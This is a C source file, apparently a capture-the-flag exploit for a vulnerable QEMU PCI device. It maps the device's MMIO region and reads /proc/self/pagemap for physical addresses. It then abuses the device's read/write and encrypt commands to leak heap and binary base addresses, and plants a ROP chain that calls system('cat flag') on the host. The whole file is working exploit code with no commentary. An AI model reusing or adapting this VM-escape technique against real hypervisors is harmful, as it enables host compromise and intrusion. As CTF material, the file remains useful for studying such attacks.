1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147
| #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <fcntl.h> #include <sys/mman.h>
#define PFN_MASK ((((size_t)1)<<54)-1)
char *mmio;
size_t buffer_phys_addr; char *buffer;
void die(char *msg) { perror(msg); exit(-1); }
void mmio_write(uint32_t addr,uint32_t val) { *((uint32_t *)(mmio + addr)) = val; }
uint64_t mmio_read(uint32_t addr) { return *((uint32_t *)(mmio + addr)); }
void setPhyAddr(uint32_t val) { mmio_write(32,val); }
void setPos(uint32_t val) { mmio_write(16,val); }
void setLength(uint32_t val) { mmio_write(24,val); }
void enc() { mmio_write(80,0x666); }
void mem_read_write(uint32_t phyAddr,uint32_t pos,uint32_t length) { setPhyAddr(phyAddr); setPos(pos); setLength(length); mmio_write(96,0x666); }
size_t get_phys_addr(char *vir_addr) { int fd = open("/proc/self/pagemap", O_RDONLY); if (fd == -1) { die("open pagemap error"); } size_t vir = (size_t)vir_addr; size_t offset = vir / 0x1000 * 8; if (lseek(fd,offset,SEEK_SET) == -1) { die("lseek pagemap error"); } size_t addr; if (read(fd,&addr,8) != 8) { die("read pagemap error"); } addr = (addr & PFN_MASK); return addr; }
int main(int argc,char ** argv) { int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR); if (fd == -1) { die("open device error"); } mmio = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0); if (mmio == MAP_FAILED) { die("mmap device memory error"); } buffer = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,-1,0); if (buffer == MAP_FAILED) { die("mmap local buffer error"); } mlock(buffer, 0x1000); buffer_phys_addr = get_phys_addr(buffer); printf("buffer_phys_addr=0x%lx\n",buffer_phys_addr); size_t *d = (size_t *)buffer; d[0] = buffer_phys_addr * 0x1000; d[1] = (0xFD0 << 16) | 0x11; mem_read_write(buffer_phys_addr,0x20,0x10);
mem_read_write(buffer_phys_addr,0xFFF,0x3); printf("obj_addr_low_bit=0x%x\n",buffer[1]);
buffer[1] = buffer[1] + 0x30; mem_read_write(buffer_phys_addr,0xFFF,0x2); mem_read_write(buffer_phys_addr,0xFD0,0x7); size_t obj_addr = d[0] - 0x30; size_t elf_base = d[1] - 0x5bc5c0; size_t system_addr = elf_base + 0x2A7A80; size_t gadget = elf_base + 0x0000000000321956; size_t pop_rdi = elf_base + 0x00000000002ad4a5; size_t pop_rsp = elf_base + 0x00000000002ad883; size_t pop_3 = elf_base + 0x00000000003b15ff; printf("obj_addr=0x%lx\n",obj_addr); printf("elf_base=0x%lx\n",elf_base); printf("system_addr=0x%lx\n",system_addr);
setPos(0x28); setLength((0x28+0x4) * 2); enc();
memset(buffer,0,0x1f); memcpy(buffer+0x1f,&pop_3,0x8); d = (size_t *)(buffer + 0x28); d[0] = pop_rsp; d[1] = obj_addr+0xe19 + 0x47 + 0x9e0;
d = (size_t *)(buffer + 0x47); d[0] = pop_rdi; d[1] = obj_addr+0xe19 + 0x5f + 0x9e0; d[2] = system_addr; memcpy(buffer+0x5f,"cat flag",0x8);
d = (size_t *)(buffer + 0x1f7); d[0] = obj_addr+0xe19; d[1] = gadget; mem_read_write(buffer_phys_addr,0x666,0x6); mem_read_write(buffer_phys_addr,0x666,0x6);
return 0; }
|